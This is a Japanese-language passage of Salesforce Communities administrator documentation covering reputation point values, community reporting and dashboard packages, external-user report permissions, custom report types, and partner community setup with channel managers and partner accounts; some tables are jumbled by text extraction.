
関連トピック:

評価レベルの設定

コミュニティ評価の計算方法は?

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロファイルの評価レベルは、合計ポイントに基づいて計算されます。
コミュニティマネージャがポイント値を割り当てた活動をユーザが実行すると、
ユーザはポイントを獲得します。また、投稿またはコメントに対して他のコミュ
ニティメンバーから反応があった場合にも、ポイントを獲得できることがあり
ます。たとえば、コミュニティマネージャは、ユーザが投稿を作成すると 5 ポ
イント獲得するように指定できます。投稿を誰かが共有した場合、その投稿が
他のユーザの寄稿に影響を与えているという理由で、投稿者が 10 ポイントを獲
得するように設定されていることもあります。

メモ: 有効ユーザのみがポイントを獲得します。たとえば、有効ユーザが
無効ユーザの投稿にいいね! と言うと、有効ユーザは 1 ポイント獲得します
が、無効ユーザはポイントを獲得しません。
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デフォルトのポイント値は次のとおりです。コミュニティマネージャがこの値をカスタマイズしていることも
あります。詳細は、コミュニティマネージャにお問い合わせください。

ポイントアクション

コミュニティエンゲージメント
1投稿を作成する
1コメントを作成する
5コメントを受け取る
1いいね! と言う
5いいね! を受け取る
1投稿を共有する
5他の人が自分の投稿を共有する
1

投稿に複数の @メンションが含まれる場合、@メン
ションごとにポイントを獲得します。

他の人にメンションする

5メンションを受け取る

質問と回答
1質問する
5質問に回答する
5回答を受け取る
5最良の回答であるとマークする
20最良の回答であるとマークされる

ナレッジ
5トピックの知識に関して誰かを支持する
20トピックの知識に関して支持される

関連トピック:

コミュニティの評価の有効化
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コミュニティレポート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティレポートを使用して、コミュニティのさまざまな領域の短期的お
よび長期的トレンドを表示できます。事前設定されたAppExchangeパッケージを
使用すると、コミュニティマネージャはすばやくレポートを作成できます。コ
ミュニティメンバーがレポートを利用することもできます。

ダッシュボードおよびインサイトパッケージを使用したコミュニティのレ
ポート
Salesforce Communities Management パッケージは、[コミュニティ管理] またはコ
ミュニティワークスペースの活動やエンゲージメントのタブを直接監視する
ために不可欠なダッシュボードおよびレポートのスターターセットをコミュ
ニティマネージャに提供します。
外部ユーザのレポート管理の設定 — レポートの作成と編集
コミュニティパートナーおよびカスタマーユーザは、自分の個人フォルダ、および十分な権限がある場合
は非公開の共有フォルダにあるレポートを作成および編集できます。ユーザのプロファイルまたは権限セッ
トを使用して、パートナーおよびカスタマーユーザにレポートの作成および編集権限を付与できます。必
要な権限を付与したユーザは、ドラッグアンドドロップ型のレポートビルダーツールを使用できます。
コミュニティ活動の追跡
カスタムレポートを作成して、利用状況、モデレーション、およびその他のコミュニティ活動を追跡しま
す。

ダッシュボードおよびインサイトパッケージを使用したコミュニティ
のレポート

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

AppExchange パッケージ
をインストールする
• 「AppExchange パッ

ケージのダウンロー
ド」

Salesforce Communities Managementパッケージは、[コミュニティ管理]またはコミュ
ニティワークスペースの活動やエンゲージメントのタブを直接監視するために
不可欠なダッシュボードおよびレポートのスターターセットをコミュニティマ
ネージャに提供します。
Salesforce Communities Management パッケージを使用して、次のことができます。
• 事前設定されたレポートを使用する最新機能を活用する (最新パッケージバー

ジョンを使用)

• 最新の総計値を確認し、速やかにトレンドを把握する
• コミュニティがどれくらいの速さで拡大しているかを判断する
• エンゲージ数が最も多いメンバーを見つける
• ユーザやグループの関心が最も高いディスカッションを検出する
• 注意が必要なコミュニティの領域を特定する
• インサイトレポートを使用して最近の活動に対してルール適用時のアクショ

ンを実行する
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メモ: 事前設定されたインサイトレポートを使用するには、コミュニティでChatterを使用する必要があり
ます。

AppExchange から、次のいずれかのバージョンをインストールします。
• Salesforce  Communities Management (Chatter を使用するコミュニティ向け)

• Salesforce  Communities Management (Chatter を使用しないコミュニティ向け)

ヒント: インストール手順、レポートの詳細情報、およびアップグレード手順は、「Get Started with the

Communities Management AppExchange Package」を参照してください。
インストール時に、ダッシュボードフォルダとレポートフォルダが内部組織に自動的にインストールされま
す。また、後でダッシュボードフォルダとレポートフォルダを共有する手間を省くため、コミュニティマネー
ジャにパッケージの内容へのアクセス権を付与するオプションもあります。[コミュニティ管理]またはコミュ
ニティワークスペースに以前に対応付けられたインサイトまたはダッシュボードがない場合は、インストール
時に自動的に対応付けられます。
パッケージがインストールされると、他のすべての Salesforce ダッシュボードおよびレポートと共に、新しい
ダッシュボードおよびレポートにアクセスできます。[コミュニティ管理]またはコミュニティワークスペース
でダッシュボードを参照する場合、コミュニティ固有のデータが表示されます。インストール後、[コミュニ
ティ管理] およびコミュニティワークスペースには次の要素が表示されます。

Chatter
が必要
かどう
か

説明ページ名ナビゲー
ションセ
クション

最近の活動およびメンバーシップについて最新情報を入手します。こ
のダッシュボードは、[コミュニティ管理]、コミュニティワークスペー
ス、モデレーションのホームページに対応付けられます。

ホームダッシュ
ボード

コミュニティの全体的な状況を一目で確認できます。90 日間のトレン
ドレポートには、メンバーシップの総数、新しく参加したメンバー、

概要

およびメンバーのログインが表示されます。Chatter が有効になってい
る場合、90 日間のスナップショットに投稿とコメントの総計値が表示
されます。

投稿、コメント、日次のユニーク寄稿者数、および投稿やコメントを
寄稿しているメンバーの種別に関する総計値を参照します。

活動

コミュニティのカスタムおすすめの状況と、おすすめが表示、クリッ
ク、または却下された頻度を参照します。個々のおすすめまたはすべ
てのチャネルのデータを参照できます。

カスタムのおす
すめ

コンテンツの更新、ダウンロード、エンゲージメント、およびコンテ
ンツ作成者を追跡します。

ファイル

グループ内のメンバーシップおよび投稿やコメントの活動 (コミュニ
ティの成功のトップドライバの 1 つ) を監視します。

グループ
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Chatter
が必要
かどう
か

説明ページ名ナビゲー
ションセ
クション

メンバーシップの拡大を測定し、過去 30 日間のログイン総計値を参照
します。

メンバー

コミュニティのフラグ付きコンテンツを追跡します。モデレーション

グループで投稿された質問、回答、および最良の回答に関する総計値
を確認します。

Q&A

ユーザプロファイルに投稿された質問、回答、および最良の回答に関
する総計値を表示します。このダッシュボードは、カスタマーサービ
ス (Napili)テンプレートを使用するコミュニティで非常に役立ちます。

セルフサービス

コミュニティのナビゲーショントピックや主要トピックに関する総計
値を表示します。

トピック

メンバー活動を監視し、コミュニティでの採用の推進に役立てます。採用エンゲー
ジメント グループ内の投稿とコメントを追跡し、コミュニティで積極的に関与

しているメンバーを表示します。
エンゲージメン
ト

所有者が無効になっているグループや、アーカイブ済みまたはまもな
くアーカイブされるグループを特定します。

グループ

コミュニティの最近のトピック活動を監視します。トピック

ファイルのアップロードとダウンロードを監視します。多数のコメン
トを受け取っているファイルも含まれます。

ファイル

ユーザプロファイルでの質問と回答を追跡します。ケースにエスカ
レーションされた質問も含まれます。このインサイトページは、カス

セルフサービス

タマーサービス (Napili)テンプレートを使用するコミュニティで非常に
役立ちます。

フラグ付き投稿、ファイル、メッセージ、およびモデレーションルー
ルによってフラグが付けられたコンテンツを追跡します。

フラグ付きモデレー
ション

承認待機中の投稿を管理します。待機中

スパム送信者または新規メンバーを監視します。メンバー

ユーザによるフラグ付けを含むモデレーション、モデレーションルー
ル、およびモデレータアクションを監査します。

監査履歴

パッケージで提供されるダッシュボードとレポートは 100% カスタマイズ可能です。パッケージ内容のカスタ
マイズや変更について懸念する必要はありません。ご安心ください。新しいバージョンのパッケージが使用可
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能になると、そのパッケージを再インストールしてアップグレードできます。レポートおよびダッシュボード
をカスタマイズしている場合でも、カスタマイズはアップグレード時に保持されるため心配いりません。

関連トピック:

コミュニティマネージャのインサイトの有効化および対応付け
コミュニティマネージャのダッシュボードの有効化および対応付け
インサイトとダッシュボードの違いは?

外部ユーザのレポート管理の設定 — レポートの作成と編集
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限セットを作成するか
プロファイルでカスタム
権限を有効にする
• 「プロファイルと権限

セットの管理」

ユーザに権限セットを割
り当てる
• 「権限セットの割り当

て」

外部ユーザとレポート
フォルダを共有する
• 「マネージャ」フォル

ダアクセス権または
「公開フォルダのレ
ポートを管理」

コミュニティパートナーおよびカスタマーユーザは、自分の個人フォルダ、お
よび十分な権限がある場合は非公開の共有フォルダにあるレポートを作成およ
び編集できます。ユーザのプロファイルまたは権限セットを使用して、パート
ナーおよびカスタマーユーザにレポートの作成および編集権限を付与できます。
必要な権限を付与したユーザは、ドラッグアンドドロップ型のレポートビルダー
ツールを使用できます。

重要: Summer '13 より前のリリースから存在する組織の場合は、外部ユーザ
権限を付与する前に、レポートとダッシュボードの拡張共有を有効にする
必要があります。「分析フォルダ共有」を参照してください。
外部ユーザがレポートを作成、カスタマイズ、および削除するには、レポー
トビルダーツールを使用する必要があります。

データ表示は、パートナーまたはカスタマーが属するユーザロールと組織の共
有ルールの 2 つに基づきます。組織の項目レベルセキュリティが適用されます。
つまり、項目が外部ユーザに対して非表示になっている場合、パートナーおよ
びカスタマーユーザのレポートビルダーにその項目は表示されません。
1. 外部ユーザにレポートの作成および編集を許可するには、カスタムプロファ

イルまたは権限セットから「レポートの作成とカスタマイズ」、「レポート
ビルダー」、および「私のレポートを編集」権限を有効にします。外部ユー
ザにレポートデータのエクスポートを許可するには、「レポートのエクス
ポート」権限も割り当てます。
[設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ
ト] または [プロファイル] を選択します。次の権限を割り当てます。

レポートの作成と編集に必要な外部ユーザ権限

「レポートの作成とカスタマイ
ズ」
および

個人フォルダ内のレポートを作成、カスタ
マイズ、および削除する

「レポートビルダー」
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レポートの作成と編集に必要な外部ユーザ権限

「私のレポートを編集」
および

閲覧者アクセス権のある非公開の共有フォルダ内の自分の
レポートを作成、カスタマイズ、および削除する

「レポートビルダー」

「レポートのエクスポート」レポートデータをエクスポートする

カスタマーコミュニティプラスやパートナーコミュニティなどのライセンスを持つすべてのロールベース
の外部ユーザに、レポートを作成および編集する権限を付与できます。また、カスタマーポータルや Gold

Partner など、すべての従来のロールベースのポータルライセンスにも権限を付与できます。

メモ:

• これらの権限は、カスタマーコミュニティや大規模カスタマーポータル、Service Cloud ポータル、
および認証 Web サイトなどの大規模ユーザライセンスでは使用できません。

• 従来のポータルライセンスを持つ外部ユーザは、コミュニティのレポートを作成および編集できま
すが、ポータルのレポートは作成および編集できません。

2. 外部ユーザに非公開の共有フォルダにあるレポートの作成または編集を許可するには、そのフォルダの「閲
覧者」アクセス権を付与します。
[フォルダ] ビューの [レポート] タブで、共有するフォルダの横にある をクリックし、[共有] を選択しま
す。

メモ: パートナーおよびカスタマーユーザは、[未整理公開レポート] フォルダにあるレポートの作成、
編集、参照はできません。
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外部ユーザがアクセスできるオブジェクト、項目、およびカテゴリによっては、レポートの作成時に UI にカ
スタムレポートタイプが表示されることがあります。カスタムレポートタイプに含まれる項目またはオブジェ
クトへの参照アクセス権がユーザに付与されている場合、そのカスタムレポートタイプが表示されます。

関連トピック:

レポートフォルダまたはダッシュボードフォルダの共有
レポートおよびダッシュボードフォルダのアクセス権の比較
Communities のレポートおよびダッシュボードの制限

コミュニティ活動の追跡
エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタムレポートを作成して、利用状況、モデレーション、およびその他のコ
ミュニティ活動を追跡します。

ヒント: AppExchangeからダウンロード可能なSalesforce  Communities Management

パッケージで事前設定されたダッシュボードを取得できます。
コミュニティの健全性を監視するには、カスタムレポートタイプを作成してか
ら、そのカスタムレポートタイプを使用してレポートを作成できます。コミュ
ニティマネージャに [コミュニティ管理] でレポートを表示するには、ダッシュ
ボードを作成または編集してレポートを追加してから、[コミュニティ管理]で更
新したダッシュボードを対応付けます。ダッシュボードの対応付けを変更する
には、[ダッシュボードの設定] をクリックします。

メモ: [コミュニティ管理]ページでは、ネットワークオブジェクトに基づいたレポートにのみコミュニティ
固有の情報が表示されます。ネットワークオブジェクトに基づいたレポートを使用するということは、1

つのカスタムレポートを作成し、それをすべてのコミュニティで使用できるということになります。
次の表を使用して、コミュニティのレポートの使用を開始します。

説明[主オブジェクト] > [B] (子オブジェクト) > [C]
(該当する場合は子オブジェクト)

使用状況の大別

コミュニティでの非公開メッセージ活動に
関するレポートを作成します。1

[ネットワーク] > [Chatter メッセージ]Chatter 使用状況

メンバーが編集した投稿とコメントに関す
るレポートを作成します。

[ネットワーク] > [フィードリビジョン]Chatter 使用状況

コミュニティのグループに関するレポート
を作成します。

[ネットワーク] > [グループ]Chatter 使用状況

コミュニティでのすべてのモデレーション
活動および履歴に関するレポートを作成し
ます。
Chatter非公開メッセージのモデレーション
活動に関するレポートを作成するには、

[ネットワーク] > [ネットワーク監査]モデレーション

(ネットワーク監査オブジェクトの) [監査オ
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説明[主オブジェクト] > [B] (子オブジェクト) > [C]
(該当する場合は子オブジェクト)

使用状況の大別

ブジェクト種別]が [Chatter メッセージ]

になるようにレポートを絞り込みます。

項目にフラグを設定したかフラグが設定さ
れた項目をモデレートした、コミュニティ

[ネットワーク] > [ネットワークメンバー] >

[ネットワーク活動監査 — モデレータ]

モデレーション

のメンバーに関するレポートを作成しま
す。

項目にフラグが設定された、項目がブロッ
クされた、または項目が置き換えられたコ

[ネットワーク] > [ネットワークメンバー] >

[ネットワーク活動監査 — ユーザ]

モデレーション

ミュニティのメンバーに関するレポートを
作成します。

コミュニティの凍結されたメンバーに関す
るレポートを作成します。

[ネットワーク] > [ネットワークメンバー] >

[ユーザログイン]

モデレーション

コミュニティで現在フラグが設定されてい
るコンテンツに関するレポートを作成しま

[ネットワーク] > [ネットワークモデレーショ
ン] > [コンテンツドキュメント]

[ネットワーク] > [ネットワークモデレーショ
ン] > [フィード投稿]

モデレーション

す。これらのレポートにより、フラグが設
定された項目の実際のコンテンツを表示で
きます。たとえば、フラグが設定された非

[ネットワーク] > [ネットワークモデレーショ
ン] > [フィードコメント]

公開メッセージのコンテンツを表示して
メッセージがスパムかどうかを簡単に決定
できます。[ネットワーク] > [ネットワークモデレーショ

ン] > [非公開メッセージ]

確認および承認待機中の投稿に関するレ
ポートを作成します。

[ネットワーク] > [未公開フィードエンティ
ティ] > [フィード投稿]

モデレーション

日次の公開コミュニティページビューおよ
びユニーク訪問者に関するレポートを作成
します。

[ネットワーク] > [ネットワーク公開利用状況
総計値 (日次)]

公開活動

コミュニティのカスタムおすすめの利用状
況に関するレポートを作成します。

[ネットワーク] > [おすすめ総計値]おすすめ

コミュニティでのトピック活動に関するレ
ポートを作成します。

[ネットワーク] > [トピック]トピック活動

コミュニティでのトピックの割り当てに関
するレポートを作成します。

[ネットワーク] > [トピックの割り当て]トピック活動

日次のメンバー種別ごとの投稿およびコメ
ント数に関するレポートを作成します。

[ネットワーク] > [ネットワーク活動総計値
(日次)]

ユーザ活動

コミュニティのログインアクティビティに
関するレポートを作成します。このレポー

[ネットワーク] > [ネットワークメンバー] >

[ログイン履歴]

ユーザ活動
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説明[主オブジェクト] > [B] (子オブジェクト) > [C]
(該当する場合は子オブジェクト)

使用状況の大別

トには、コミュニティへの直接ログインの
みが含まれます。ユーザが組織にログイン
してからコミュニティに切り替えた場合、
そのログインアクティビティは含まれませ
ん。

有効なメンバー、新しく追加されたメン
バー、および外部メンバーのメンバー種別

[ネットワーク] > [ネットワークメンバーシッ
プ総計値 (日次)]

ユーザ活動

ごとの日次合計ログイン数に関するレポー
トを作成します。

コミュニティの日次ユニーク寄稿者数に関
するレポートを作成します。グループや

[ネットワーク] > [ネットワークユニーク寄稿
者総計値 (日次)]

ユーザ活動

ユーザプロファイルに投稿またはコメント
したメンバーが寄稿者としてカウントされ
ます。

写真付きまたは写真なしのユーザプロファ
イルに関するレポートを作成するには、

[ネットワーク] > [ネットワークメンバー]ユーザプロファイ
ルの写真

(ネットワーク監査オブジェクトの) [プロ
ファイル写真を設定済み] が True または
Falseになるようにレポートを絞り込みま
す。

1Chatter メッセージに関するレポートを作成するには、「コミュニティ Chatter メッセージのモデレート」権限
が必要です。

メモ: 他のオブジェクトに基づいてレポートを作成し、[コミュニティ管理] またはコミュニティワークス
ペースで公開することができます。その場合、レポートを表示しているコミュニティだけでなく、組織
全体のデータが表示されます。

関連トピック:

ダッシュボードおよびインサイトパッケージを使用したコミュニティのレポート
Communities のレポートおよびダッシュボードの制限
カスタムレポートタイプの作成
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コミュニティでのパートナーリレーションの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティは、パートナーリレーションを管理するための強力なツールです。
コミュニティでビジネスパートナーとコラボレーションします。パートナーを
コミュニティを招待してパートナーとレコードを共有し、チャネル販売の促進、
追跡、サポートを行います。

メモ: 既存のパートナーポータルがある場合、引き続きポータルを使用し
てパートナーとコラボレーションすることもできます。ただし、パートナー
をコミュニティに移行することを強くお勧めします。パートナーポータル
ライセンスは、パートナーコミュニティで再利用できます。

コミュニティでは、パートナーユーザは個別の Web サイトで Salesforce にログイ
ンし、そのパートナーユーザのみが使用できるように指定したデータにアクセ
スできます。パートナーコミュニティでは、次のことができます。
• Salesforce を拡張して CRM データをパートナーに安全に公開する。
• パートナーの採用、研修、および教育 (トレーニングや認定) を行う。
• プログラム、階層、ビジネスプラン、パートナースコアボードを使用してチャネル販売を管理する。
• リードの配布、商談の登録、およびチャネル販売の見積を管理する。
• マーケティング開発資金 (MDF)、マーケティングキャンペーン、および共通のブランドが設定されたメール

コミュニティを使用してチャネルマーケティングを合理化する。
• パーソナライズされたリッチなモバイル対応環境を提供してパートナー生産性を高める。
• Salesforce 組織の直接的な販売と共にパートナーの販売の管理、追跡、売上予測を行う。
コミュニティを使用すると、すべてのパートナーに表示する情報を 1 か所で公開して共有できます。また、同
じコミュニティで特定のパートナーユーザとデータを非公開で共有したり、Salesforce に組み込まれているセ
キュリティを使用してアクセスを制限したりすることもできます。たとえば、リードを特定のパートナーに渡
すことができます。コミュニティ要件がパートナーごとに異なる場合、複数のコミュニティを設定することも
できます。

例: 次に、会社でコミュニティを使用してどのようにパートナーの販売を促進するのかについていくつか
の業種の例を示します。
• 技術系企業は、再販業者と連携して、リードを渡したり、商談を登録したり、商品を売り込んだりで

きます。
• メーカーは、コミュニティで流通業者、卸売業者、および小売業者と連携できます。
• 保険会社は、独立ブローカーと連携して、リードの追跡や保険商品の販売を行うことができます。

関連トピック:

ポータルからコミュニティへの移行
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組織でのパートナー機能の有効化
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パートナーライセンスを購入して、パートナー取引先の設定やパートナーユー
ザの作成を行うことができる機能を組織で有効にします。
パートナーライセンスを購入すると、組織で次の機能が有効になります。
• デフォルトのパートナーユーザプロファイル。このプロファイルをコピーし

てカスタムパートナープロファイルを作成したり、権限セットでデータアク
セス権を拡張したりできます。

• 3 つの標準パートナーロール (パートナーユーザ、パートナーマネージャ、
パートナーエグゼクティブ)。パートナー取引先を作成するときに、これらの
いずれかのロールをパートナーユーザに関連付けることができます。

• パートナーユーザを対象にした共有ルールグループおよびカテゴリ。
• 取引先の [外部取引先の管理] および [パートナーとして有効化] ボタン。
• 取引先責任者の [外部ユーザの管理] および [パートナーユーザを有効化] ボタン。

メモ: 以前にパートナーポータルライセンスを購入している場合、これらの機能はすでに組織で有効に
なっています。

パートナーコミュニティのサポートされるテンプレート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パートナーコミュニティを作成するためのテンプレートの選択は、会社のブラ
ンド設定要件やコミュニティの設計に費やすことができる開発作業によって異
なります。
Lightning パートナー管理ソリューションでは、洗練された Lightning コンポーネン
ト (カスタマーサービス (Napili) など) を利用する、高度なカスタマイズが可能な
テンプレートを使用します。このソリューションには、リードおよびマーケティ
ング管理でパートナーコミュニティを設定するためのカスタムオブジェクト、
レコードタイプ、ページがあらかじめパッケージに含まれています。また、各
種デバイス (モバイルデバイスを含む) に対応できるリッチなデザインがありま
す。
ポータルからコミュニティにすばやく移行したい場合や、Salesforce Classicのデザインの方が良い場合、Salesforce

タブ + Visualforce テンプレートを使用します。このオプションでは、大幅なブランド変更が可能ですが、Visualforce

のスキルを持つ開発者が必要になります。
わかりやすく、すべてのコミュニティテンプレートで使用できる機能を比較します。
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パートナーコミュニティ戦略

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

作成するパートナーコミュニティ種別は、ビジネス、チャネル販売プログラム、
およびプログラム内の階層によって異なります。たとえば、少数のパートナー
がいるハードウェア製造業者の戦略は、大規模なエージェントネットワークが
ある保険会社の戦略とは異なります。
早期段階で次の質問に回答し、コミュニティ戦略を計画してください。
• 必要なパートナーコミュニティライセンスの数は?

メモ: すべてのセールスオブジェクト (商談、リード、キャンペーンな
ど) にアクセスする必要がない場合、パートナーにカスタマーコミュニ
ティプラスライセンスを使用することもできます。

• すべてのパートナーを同じコミュニティに招待できるか? または複数のコミュニティが必要か?

• カスタムパートナープロファイルが必要か? またはすべてのロールが必要か?

• パートナーネットワークと共有するデータは?

• コミュニティで必要なデータ表示やプライバシーのレベルは?

コミュニティ戦略の計画についての詳細は、コミュニティのこの Trailhead モジュールを参照してください。

関連トピック:

コミュニティユーザライセンス

パートナーポータルからコミュニティへの移行
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce では、パートナーポータルをコミュニティに移行することをお勧めし
ます。ポータルライセンスはコミュニティでサポートされているため、個別の
コミュニティライセンスは必要ありません。

メモ:  Summer '13 リリースから、新しい Salesforce 組織ではパートナーポータ
ルを利用できなくなっています。パートナーポータルを使用している既存
の組織は、パートナーポータルを使用し続けることも、コミュニティに移
行することもできます。パートナーポータルを持っていないが、レコード
や情報をパートナーと簡単に共有したい場合は、Salesforce コミュニティを
試してください。詳細は、Salesforce にお問い合わせください。

ポータルからコミュニティに移行する理由
コミュニティでは、ポータルやカスタマーポータルで使用できるすべての機能に加えて、次のような機能も提
供されます。
• あらかじめパッケージに含まれている応答性の高いモバイル対応の Lightning パートナー管理ソリューショ

ン
• 会社のブランド設定によるパーソナライズされたリッチな環境の構築
• グループ、ファイル共有、フィードを使用した Chatter コラボレーション
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• レポートやダッシュボードへのアクセスと、コミュニティのカスタムレポートの作成
• 複数の認証プロバイダのシングルサインオンおよびログインのサポート
• コンテンツモデレーションやダイレクトメッセージなど
• 1 か所でのコミュニティの設計、モデレート、および管理
また、各リリースで追加機能を提供できるように 24 時間体制で取り組んでいます。
ポータルユーザおよびデータをコミュニティに移行する方法についての詳細は、「ポータルからコミュニティ
への移行」ガイドを参照してください。

パートナーポータルを使用し続ける場合
パートナー取引先、ユーザ、ポータルの設定やパートナーの販売の追跡についての詳細は、『Salesforce Partner

Portal Guide』を参照してください。

パートナーコミュニティの組織の準備
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

取引先に対する「参照」取引先を参照する

取引先に対する「作成」取引先を作成する

「外部ユーザの管理」パートナー取引先を無効化する

「外部ユーザの管理」パートナーユーザを作成、編集、無効
化、または非アクティブ化する

取引先責任者に対する「作成」取引先責任者を作成する

取引先責任者に対する「参照」取引先責任者を参照する

「プロファイルと権限セットの管理」プロファイルを作成、編集、および削除
する

「プロファイルと権限セットの管理」

および

項目レベルセキュリティを設定する

「アプリケーションのカスタマイズ」

「共有の管理」共有ルールを設定する

パートナーライセンスを購入していて、組織でパートナー機能が有効になっていれば、パートナーとコラボ
レーションしたり、商談を成立させたりできます。実際にパートナーコミュニティを作成する前に、チャネル
マネージャと連携して、パートナー取引先とパートナーユーザの作成、パートナーロールの割り当て、権限の
管理を行います。
まず、チャネルマネージャロールを設定し、チャネル販売を管理してパートナー組織と連携する組織の内部
ユーザに割り当てます。
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必要な権限のあるチャネルマネージャは、次の手順を実行できます。
1. 各パートナー取引先は、自動的に 3 つのパートナーロールに割り当てられます。

ヒント: ロールの数を 1 つに減らしてパートナーユーザロールのみにすることを強くお勧めします。
ロールが拡散しないように 1 つのロールを使用して、他のユーザのデータにアクセスする必要のある
ユーザにスーパーユーザアクセスを付与するようにしてください。

2. [設定] から、[クイック検索/検索] ボックスに「共有設定」と入力し、組織の共有設定を編集します。パート
ナーと共有するすべてのオブジェクトで、[デフォルトの外部アクセス権] を [非公開] に設定します。

3. コミュニティのニーズごとにパートナーユーザプロファイルをコピーおよびカスタマイズし、必要に応じ
て権限セットで追加の権限を付与します。

4. 連携するパートナー組織ごとにパートナー取引先を作成します。パートナー取引先には、パートナーユー
ザとそれらの販売データに関する詳細が保存されます。

5. また、パートナーとデータを共有するための共有ルールの使用方法についても計画します。
6. 各パートナー会社のユーザをそれぞれのパートナー取引先の取引先責任者として追加します。
7. パートナー取引先の取引先責任者をパートナーユーザに変換し、パートナーライセンス、プロファイル、

およびロールを割り当てます。
8. 必要に応じて、スーパーユーザアクセスを有効化して、ロール階層の他のユーザが所有するデータを参照

できるようにするパートナーユーザに付与します。
9. 多くのパートナーユーザと連携する場合や、パートナー組織のユーザ管理を行わない場合、ユーザの代理

管理を検討します。
これで、コミュニティを設定してパートナーユーザを割り当てる準備ができました。

関連トピック:

組織のデフォルトの共有設定
コミュニティまたはポータルユーザが表示できるユーザの制御

チャネルマネージャロールの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

チャネルマネージャは、パートナー取引先およびパートナーユーザを管理する
内部ユーザです。パートナーコミュニティを設定する前に、チャネルマネージャ
ロールを設定する内部ユーザを指定します。

チャネルマネージャロール
チャネルマネージャが、管理するパートナー組織のすべてのパートナー取引先
を作成することが理想的です。パートナー取引先に関連付けられているすべて
のパートナーユーザは、パートナーロール階層でチャネルマネージャの下に自
動的に配置されます。そのため、これらのパートナーユーザが所有するすべて
のデータは積み上げ集計されてチャネルマネージャに表示されます。
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チャネルマネージャプロファイル
プロファイルは、ユーザが持てる権限、ユーザに表示されるページレイアウト、ユーザが使用できるタブとレ
コードタイプなどの設定を決めます。チャネルマネージャのカスタムプロファイルを作成するか、権限セット
を使用して標準プロファイルに権限を付与します。次に、実行できる作業についていくつかのヒントを示しま
す。
「パートナーの管理」権限を付与する

この権限を有効にすると、チャネルマネージャがパートナー取引先とパートナーユーザを作成できます。
次のオブジェクトをチャネルマネージャが使用できるようにする

リード、取引先、取引先責任者、商談、ドキュメント、キャンペーン、商品、およびコミュニティでパー
トナーユーザと共有するその他のオブジェクト。

レコードタイプを割り当てる
レコードタイプをチャネルマネージャプロファイルに割り当てます。たとえば、Lightning パートナー管理
ソリューションには、2 つのリードレコードタイプ (営業リーダーを追跡するためのレコードタイプと商談
を登録するためのレコードタイプ) が含まれます。チャネルマネージャが両方にアクセスできることを確認
します。

[パートナー取引先] 項目を、リード、取引先、および商談のチャネルマネージャに表示します。
チャネルマネージャはパートナーユーザの活動を追跡するたのリストビューまたはレポートを作成できま
す。

ページレイアウトを割り当てる
適切なページレイアウトをチャネルマネージャプロファイルに割り当てます。

[最終移行日] 項目を、リードのチャネルマネージャに表示します。
チャネルマネージャはパートナーユーザの活動を追跡するたのリストビューまたはレポートを作成できま
す。

その他のヒント
• チャネルマネージャの公開共有グループを作成します。このグループは、ドキュメントへのアクセス権の

絞り込みと制御に使用できます。
• チャネルマネージャのリードキューを作成します。このキューは、リードの割り当てルールに使用できま

す。
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パートナー取引先の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

取引先を参照する
• 取引先に対する「参

照」

取引先を作成する
• 取引先に対する「作

成」

パートナー取引先を作成
する手順は、次のとおり
です。
• 「外部ユーザの管理」

パートナーとなる各会社を法人取引先として Salesforce に追加します。すべての
パートナーデータを参照できるようにチャネルマネージャがパートナー取引先
を作成することをお勧めします。
チャネルマネージャが、パートナーコミュニティまたはパートナーポータルを
使用するときに、パートナー組織、パートナーユーザ、および活動を使用する
Salesforce 取引先。パートナー取引先を所有するチャネルマネージャは、パート
ナー取引先および関連するパートナーユーザに関連付けられているすべてのデー
タにアクセスできます。

メモ: パートナーユーザロールは、取引先所有者のロールの下位にありま
す。パートナーユーザロールのすべてのデータは、パートナー取引先所有
者のロールに積み上げ集計されます。パートナーユーザを無効化すると、
パートナーユーザロールが無効になり、そのデータはパートナー取引先ロー
ルに積み上げ集計されなくなるので、注意してください。

1. 新規法人取引先を作成します。
2. [外部取引先の管理] をクリックし、[パートナーとして有効化] をクリックし

ます。
3. 確認ダイアログで、[はい、この取引先をパートナー取引先として有効化しま

す。] を選択します。
4. [確認] をクリックします。

メモ:

• 組織に個人取引先が存在する場合に、それらをパートナー取引先と
して使用することはできません。法人取引先のみ、パートナー取引
先として使用できます。

• パートナー取引先は削除できませんが、無効化することはできます。

パートナー取引先を作成したら、ユーザを取引先責任者レコードとして取引先に追加し、パートナーユーザに
変換できます。パートナーユーザは、商談、リード、キャンペーンなどの CRM オブジェクトにアクセスできる
Salesforceユーザです。パートナーユーザは、コミュニティにログインし、共有している Salesforce データにアク
セスして変更できます。
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パートナー取引先の無効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

取引先を参照する
• 取引先に対する「参

照」

